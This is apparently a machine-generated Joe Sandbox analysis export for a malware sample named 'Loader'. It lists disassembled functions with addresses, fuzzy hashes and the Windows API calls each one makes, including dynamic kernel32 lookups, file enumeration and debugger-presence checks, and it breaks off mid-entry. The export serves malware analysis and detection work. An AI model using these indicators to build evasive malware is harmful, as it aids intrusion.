Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cafd18b090bc3701ac292ae0dbf459244eaac3ac003bb319ac8d43c249b2a480
Instruction ID: ee9a07eb21b2d987e5686c078895bb0a0949139fe31b3a94394e11546997a1a2
Opcode Fuzzy Hash: cafd18b090bc3701ac292ae0dbf459244eaac3ac003bb319ac8d43c249b2a480
Instruction Fuzzy Hash: 6C01F5333442159F8B12CF6AFC44A6677AEFB803A47295024FA18FB156FB31D84497D0

Function 00E5CD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 00E5CDF9

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: 4a3ef4788289e4143827c8cbfc75783d2a9930d4631eefb3877575cdb7b24fcf
Instruction ID: fe7a834d2f0f51271de295e681c832e218eae51ac380bf2cf0a94441ce89e9f4
Opcode Fuzzy Hash: 4a3ef4788289e4143827c8cbfc75783d2a9930d4631eefb3877575cdb7b24fcf
Instruction Fuzzy Hash: 5111D3B0D003099FCB04EFA9C4597AEBBF1EF48304F508819D855A7350EB74A648CB91

Function 00E6BC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E641E0,?,?,00E61007,?,00E5FAB5), ref: 00E6BC77

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 56e719aa9757fc101d2a949cc364666b778eb0ea18a0b250453205b317f6e0be
Instruction ID: b8a15dfb74863ae3584cbb9ae2f069094c32371573b264f5fa8b9dde175a9588
Opcode Fuzzy Hash: 56e719aa9757fc101d2a949cc364666b778eb0ea18a0b250453205b317f6e0be
Instruction Fuzzy Hash: 8AE0E5311C06115BD6312622FC05B9FBA8C9F813F8F153221BC14F6191DF20CEC081A0

Non-executed Functions

Function 00E64CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00E64CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00E64CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00E64CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00E64CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00E64CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00E64D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00E64D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00E64D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00E64D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00E64D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00E64D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00E64D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00E64D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00E64D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00E64DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00E64DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00E64DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00E64DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00E64DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00E64DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00E64E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00E64E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00E64E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00E64E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00E64E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00E64E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00E64E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00E64E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00E64E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00E64EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00E64EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00E64EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00E64ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00E64EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00E64EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00E64F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00E64F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00E64F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00E64F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00E64F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00E64F5B

Strings

GetFileInformationByHandleEx, xrefs: 00E64E2F
GetCurrentPackageId, xrefs: 00E64E0D
kernel32.dll, xrefs: 00E64CB1
GetTickCount64, xrefs: 00E64E1E
FlsGetValue, xrefs: 00E64CDB
SleepConditionVariableCS, xrefs: 00E64E95
InitOnceExecuteOnce, xrefs: 00E64D0E
SetThreadpoolTimer, xrefs: 00E64D63
SetFileInformationByHandle, xrefs: 00E64E40
WaitForThreadpoolTimerCallbacks, xrefs: 00E64D74
AcquireSRWLockExclusive, xrefs: 00E64EB7
WakeConditionVariable, xrefs: 00E64E73
CreateThreadpoolTimer, xrefs: 00E64D52
CreateSymbolicLinkW, xrefs: 00E64E01
FlsSetValue, xrefs: 00E64CEC
FlushProcessWriteBuffers, xrefs: 00E64DC9
FlsFree, xrefs: 00E64CCA
LCMapStringEx, xrefs: 00E64F50
CompareStringEx, xrefs: 00E64F2E
FreeLibraryWhenCallbackReturns, xrefs: 00E64DDA
CreateEventExW, xrefs: 00E64D1F
SetThreadpoolWait, xrefs: 00E64DA7
CloseThreadpoolWait, xrefs: 00E64DB8
CloseThreadpoolWork, xrefs: 00E64F1D
InitializeConditionVariable, xrefs: 00E64E62
CreateThreadpoolWait, xrefs: 00E64D96
FlsAlloc, xrefs: 00E64CBE
ReleaseSRWLockExclusive, xrefs: 00E64ED9
TryAcquireSRWLockExclusive, xrefs: 00E64EC8
CreateThreadpoolWork, xrefs: 00E64EFB
CloseThreadpoolTimer, xrefs: 00E64D85
SubmitThreadpoolWork, xrefs: 00E64F0C
CreateSemaphoreW, xrefs: 00E64D30
SleepConditionVariableSRW, xrefs: 00E64EEA
CreateSemaphoreExW, xrefs: 00E64D41
GetLocaleInfoEx, xrefs: 00E64F3F
InitializeSRWLock, xrefs: 00E64EA6
WakeAllConditionVariable, xrefs: 00E64E84
GetCurrentProcessorNumber, xrefs: 00E64DEB
InitializeCriticalSectionEx, xrefs: 00E64CFD
GetSystemTimePreciseAsFileTime, xrefs: 00E64E51

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 0ccc923999a738c5421e1871643c16f76cd43b5ed43f44c69dd01ca9ba76eea2
Instruction ID: fbb3c6adcd2cf170df4c1460f3ab6b59fed62b981590b2097c6802d1234e9b81
Opcode Fuzzy Hash: 0ccc923999a738c5421e1871643c16f76cd43b5ed43f44c69dd01ca9ba76eea2
Instruction Fuzzy Hash: 40618771952750AFD704EFF6AC4D8C63BACAF49705310941AB21DF3262EBB460C99F61

Function 00E5CE70 Relevance: 8.0, APIs: 5, Instructions: 518threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E5CF90
std::_Throw_Cpp_error.LIBCPMT ref: 00E5D216

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID:
API String ID: 350343453-0
Opcode ID: 7cf2642c18cd6a5771b669598e5b1e307b49212b69e18c60871cef74136852cb
Instruction ID: 091f629d23465191bd90703ecbd71c4bd2c4e796ad137bad68182075777535a2
Opcode Fuzzy Hash: 7cf2642c18cd6a5771b669598e5b1e307b49212b69e18c60871cef74136852cb
Instruction Fuzzy Hash: ABF12B76E505104FEF008A7CC8B93DF2BE28B66335F2A2729DA746B7D2D62744098F50

Function 00E6C7DB Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00E6C8CB
FindNextFileW.KERNEL32(00000000,?), ref: 00E6C9BF
FindClose.KERNEL32(00000000), ref: 00E6C9FE
FindClose.KERNEL32(00000000), ref: 00E6CA31

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 146762387c7b66ade44d2198bbf32722fc01b46849d89ba97179723c1768a89b
Instruction ID: e4eae14a67bf7f0cd44b4eb7c01336f9017c69a1c7f905dd9402f4381eb00e93
Opcode Fuzzy Hash: 146762387c7b66ade44d2198bbf32722fc01b46849d89ba97179723c1768a89b
Instruction Fuzzy Hash: 6F71D37198411C9EDF34EF74AC89ABABBB9AF45384F2451D9E08DB3211DB305E858F50

Function 00E65444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E65450
IsDebuggerPresent.KERNEL32 ref: 00E6551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E6553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00E65546

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ea6f80baccf107dd6249f4681339e261e4dc89bbc9c9691bf19de7a715d86ccb
Instruction ID: 183bcaf11ec896e58961dbb717fa33f1b16e2e66165ac61c64aeda76c44ce028
Opcode Fuzzy Hash: ea6f80baccf107dd6249f4681339e261e4dc89bbc9c9691bf19de7a715d86ccb
Instruction Fuzzy Hash: 92310775D452189BDB20DFA4D989BCDBBF8AF08344F1040AAE40DAB251EB709A89CF45

Function 00E67DCA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00E67EC2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00E67ECC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00E67ED9

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1e21c0d33be742d9a327688676c5c2ab370b201d3f388aaf690713ae998b5de2
Instruction ID: 797a279ec8bb4177df8ac18d4ea328f93befb1138f19db5f74358daee9098de6
Opcode Fuzzy Hash: 1e21c0d33be742d9a327688676c5c2ab370b201d3f388aaf690713ae998b5de2
Instruction Fuzzy Hash: 2031D2749512299BCB21DF24EC88B8DBBF8BF08354F5051EAE41CA7291EB749F858F44

Function 00E615A0 Relevance: 4.4, APIs: 2, Instructions: 1444COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00E62437

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: c6a361f801270cd151bfeb507ce9625e2fa036a3d6eae663193e9ef81d00a325
Instruction ID: 472671a1b4c418a69cf4e599b6ee81b17c8a71c71507d5de903d7ca42b4cbf0b
Opcode Fuzzy Hash: c6a361f801270cd151bfeb507ce9625e2fa036a3d6eae663193e9ef81d00a325
Instruction Fuzzy Hash: 2EA26B66A555844FEF024AB884B93DF6FE24B6B730F6A2755C6F06F2D3D50B000B9B60

Function 00E5D7F0 Relevance: 2.6, Strings: 1, Instructions: 1327COMMONLIBRARYCODE

Download Yara Rule

Strings

-g}5, xrefs: 00E5D8D2

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID: -g}5
API String ID: 0-4071012034
Opcode ID: edb77509972b76bb99687d626d38a4ffa084c87776c79b4261e09a38578a014f
Instruction ID: 91d93655e391d92c431310cb9e004204c667e46d467365d8ab1ba2b0c0359680
Opcode Fuzzy Hash: edb77509972b76bb99687d626d38a4ffa084c87776c79b4261e09a38578a014f
Instruction Fuzzy Hash: 0692AAA6A556C45FEF024AB8D4A93DF6FF24B6B331F5E2B5586E01F2D3C507004A9B10

Function 00E71FD2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00E71F2D,?,?,00000008,?,?,00E71AFF,00000000), ref: 00E721FF

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 61afc907c8035f9db012528e41d1f13880227507f039e5bd91f8a14a6b7e6a0b
Instruction ID: 311c9e045b0b019c0016c58bdd5c88e850a291bc1850c7262d2078db432689ff
Opcode Fuzzy Hash: 61afc907c8035f9db012528e41d1f13880227507f039e5bd91f8a14a6b7e6a0b
Instruction Fuzzy Hash: 08B16D316106089FDB15CF28C48ABA57BE0FF45368F25D65CEA99DF2A2C335D992CB40

Function 00E65200 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00E65216

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 78c2e0d533d880f4b1431462b2cf4958cbe0c6a590468a3f7fcf20dd48bd01c4
Instruction ID: 86ed0cc42b2410f7110af88ecf21e19275f272752199aca7fd01f6846c8c5abb
Opcode Fuzzy Hash: 78c2e0d533d880f4b1431462b2cf4958cbe0c6a590468a3f7fcf20dd48bd01c4
Instruction Fuzzy Hash: 5C51D172A416098FDB14CF96E8817AEB7F4FB48798F24942AD505FB3A0D3B49944CF90

Function 00E5F4D0 Relevance: 1.6, Strings: 1, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

Strings

k#fz, xrefs: 00E5F718

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID: k#fz
API String ID: 0-1948189604
Opcode ID: 238bcecc01ff6ea10ab987a46ade2d5f195b0d8165eef82d14d0185342dc19c4
Instruction ID: ffb005e4c36590f09dba5d3d07a6bce3264650a15162210a888200e2b196f569
Opcode Fuzzy Hash: 238bcecc01ff6ea10ab987a46ade2d5f195b0d8165eef82d14d0185342dc19c4
Instruction Fuzzy Hash: 84D14272E115188FDB14CEBDC94069DB7F2AB88730F2A8729E875FB2D4D6349D458B80

Function 00E65438 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00015560), ref: 00E6543D

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9c429ba76442216161e19cbd25a55cb21fe7427f4c5826bfadfdd434282bb5ff
Instruction ID: 1d2a360647fbd5acd6bef91dcccb210a78fbbfb312a866efa889a13d8b5caba9
Opcode Fuzzy Hash: 9c429ba76442216161e19cbd25a55cb21fe7427f4c5826bfadfdd434282bb5ff
Instruction Fuzzy Hash:

Function 00E69F90 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00E69F90

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 390047477f0e210081f0e376c1abf136e81cd5c744b52d9625265439a76d979f
Instruction ID: f42b6bdc4c2cd35b1d351a3a25f03e587fdaa72539365bf14d4114be66db7ef1
Opcode Fuzzy Hash: 390047477f0e210081f0e376c1abf136e81cd5c744b52d9625265439a76d979f
Instruction Fuzzy Hash: 3FA01130A022008F8B20CF33AA0820A3AA8AB0028230080AAA008E0220EB308088AB00

Function 00E586C0 Relevance: .7, Instructions: 725COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
